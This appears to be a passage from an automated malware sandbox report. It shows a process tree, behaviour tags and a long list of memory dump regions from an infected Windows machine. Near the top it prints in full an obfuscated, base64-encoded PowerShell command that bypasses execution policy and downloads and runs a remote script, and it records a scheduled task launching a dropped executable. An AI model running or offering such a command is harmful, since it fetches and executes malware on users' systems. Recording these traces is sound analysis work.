                                                                                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                                            1⤵
                                                                                                              PID:1700
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                                                2⤵
                                                                                                                  PID:2228
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                                                    3⤵
                                                                                                                    • Blocklisted process makes network request
                                                                                                                    • Drops file in Windows directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:2596
                                                                                                              • C:\Windows\system32\taskeng.exe
                                                                                                                taskeng.exe {320A2FDB-ACE3-4454-A007-A86864468DFA} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                                                                                                                1⤵
                                                                                                                  PID:1788
                                                                                                                  • C:\Users\Admin\AppData\Roaming\avvfhbw
                                                                                                                    C:\Users\Admin\AppData\Roaming\avvfhbw
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:2428

                                                                                                                Network

                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                • memory/368-66-0x00000000002E0000-0x000000000036E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  568KB

                                                                                                                • memory/368-67-0x0000000000400000-0x0000000001708000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  19.0MB

                                                                                                                • memory/368-61-0x00000000017DB000-0x000000000182A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  316KB

                                                                                                                • memory/472-133-0x0000000000800000-0x0000000000801000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/472-139-0x00000000041B0000-0x00000000041D1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  132KB

                                                                                                                • memory/472-140-0x00000000005E0000-0x00000000005FC000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  112KB

                                                                                                                • memory/472-137-0x0000000004680000-0x0000000004681000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/696-152-0x00000000025A0000-0x00000000025A2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/696-162-0x00000000025AB000-0x00000000025CA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/696-177-0x00000000025CD000-0x00000000025CE000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/696-147-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/696-146-0x000007FEFC011000-0x000007FEFC013000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/696-154-0x00000000025A4000-0x00000000025A7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/696-153-0x00000000025A2000-0x00000000025A4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/848-80-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/848-95-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/876-70-0x0000000000400000-0x0000000001735000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  19.2MB

                                                                                                                • memory/876-69-0x00000000002A0000-0x0000000000376000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  856KB

                                                                                                                • memory/876-64-0x00000000017CB000-0x0000000001847000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  496KB

                                                                                                                • memory/1144-57-0x0000000000220000-0x0000000000229000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  36KB

                                                                                                                • memory/1144-53-0x000000000184B000-0x000000000185B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/1268-58-0x0000000002B30000-0x0000000002B46000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  88KB

                                                                                                                • memory/1280-92-0x0000000000400000-0x0000000001707000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  19.0MB

                                                                                                                • memory/1280-91-0x00000000002A0000-0x000000000032E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  568KB

                                                                                                                • memory/1280-79-0x000000000179B000-0x00000000017EA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  316KB

                                                                                                                • memory/1524-54-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  36KB

                                                                                                                • memory/1524-56-0x0000000075B11000-0x0000000075B13000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/1684-129-0x0000000000400000-0x0000000000B71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.4MB

                                                                                                                • memory/1684-126-0x0000000000400000-0x0000000000B71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.4MB

                                                                                                                • memory/1684-127-0x0000000000400000-0x0000000000B71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.4MB

                                                                                                                • memory/1684-128-0x0000000000400000-0x0000000000B71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.4MB

                                                                                                                • memory/1684-136-0x0000000000400000-0x0000000000B71000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.4MB

                                                                                                                • memory/1720-112-0x0000000000360000-0x0000000000361000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/1964-115-0x0000000028F22000-0x0000000028F24000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/1964-116-0x0000000028F24000-0x0000000028F26000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/1964-117-0x0000000028F26000-0x0000000028F27000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/1964-118-0x0000000028F27000-0x0000000028F28000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/1964-113-0x0000000041E50000-0x000000004224F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4.0MB

                                                                                                                • memory/1964-104-0x0000000000B30000-0x0000000001976000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  14.3MB

                                                                                                                • memory/2144-163-0x00000000006E0000-0x00000000006E2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2200-178-0x0000000005480000-0x0000000005481000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2200-175-0x0000000001050000-0x0000000001051000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2204-310-0x0000000001CC7000-0x0000000001CC8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2204-307-0x0000000001CC4000-0x0000000001CC6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2204-305-0x0000000001CC2000-0x0000000001CC4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2204-304-0x0000000000060000-0x000000000006F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  60KB

                                                                                                                • memory/2204-299-0x0000000001D40000-0x0000000001D4C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  48KB

                                                                                                                • memory/2204-309-0x0000000001CC6000-0x0000000001CC7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2288-190-0x0000000000400000-0x00000000057BA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  83.7MB

                                                                                                                • memory/2288-182-0x00000000071E0000-0x000000000C53C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  83.4MB

                                                                                                                • memory/2316-187-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/2316-217-0x000000000290C000-0x000000000292B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/2316-188-0x000000001B850000-0x000000001BB4F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.0MB

                                                                                                                • memory/2316-197-0x0000000002907000-0x0000000002908000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2316-192-0x0000000002900000-0x0000000002902000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2316-195-0x0000000002902000-0x0000000002904000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2316-196-0x0000000002904000-0x0000000002907000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/2412-198-0x0000000000060000-0x0000000000070000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/2412-202-0x000000001AC12000-0x000000001AC14000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2412-194-0x000000001AC16000-0x000000001AC17000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2412-193-0x000000001AC14000-0x000000001AC16000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2412-214-0x000000001AC17000-0x000000001AC18000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2412-189-0x00000000001C0000-0x00000000001CC000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  48KB

                                                                                                                • memory/2472-259-0x0000000000400000-0x0000000000B3C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.2MB

                                                                                                                • memory/2508-206-0x00000000000D0000-0x00000000000D1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2508-208-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2552-262-0x0000000000400000-0x0000000000CF9000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  9.0MB

                                                                                                                • memory/2596-296-0x00000000012C0000-0x00000000012C2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2596-303-0x00000000012CB000-0x00000000012EA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/2596-298-0x00000000012C4000-0x00000000012C7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/2596-297-0x00000000012C2000-0x00000000012C4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2596-295-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/2716-306-0x000000001B760000-0x000000001BA5F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.0MB

                                                                                                                • memory/2716-312-0x00000000023D2000-0x00000000023D4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2716-313-0x00000000023D4000-0x00000000023D7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/2716-311-0x00000000023D0000-0x00000000023D2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2716-308-0x00000000023DB000-0x00000000023FA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/2716-302-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/2732-229-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2732-232-0x00000000024F7000-0x00000000024F8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2732-221-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/2732-222-0x000000001BA80000-0x000000001BD7F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.0MB

                                                                                                                • memory/2732-230-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2732-231-0x00000000024F4000-0x00000000024F7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/2732-233-0x00000000024FC000-0x000000000251B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/2880-240-0x00000000028B2000-0x00000000028B4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2880-237-0x000007FEEA650000-0x000007FEEB1AD000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.4MB

                                                                                                                • memory/2880-239-0x00000000028B7000-0x00000000028B8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2880-244-0x00000000028BC000-0x00000000028DB000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  124KB

                                                                                                                • memory/2880-242-0x000000001B970000-0x000000001BC6F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.0MB

                                                                                                                • memory/2880-238-0x00000000028B0000-0x00000000028B2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/2880-241-0x00000000028B4000-0x00000000028B7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  12KB

                                                                                                                • memory/3020-250-0x000000001B154000-0x000000001B156000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/3020-252-0x000000001B157000-0x000000001B158000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/3020-246-0x00000000000A0000-0x00000000002C0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.1MB

                                                                                                                • memory/3020-249-0x000000001B152000-0x000000001B154000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                • memory/3020-247-0x000000001B3F0000-0x000000001B60C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.1MB

                                                                                                                • memory/3020-251-0x000000001B156000-0x000000001B157000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB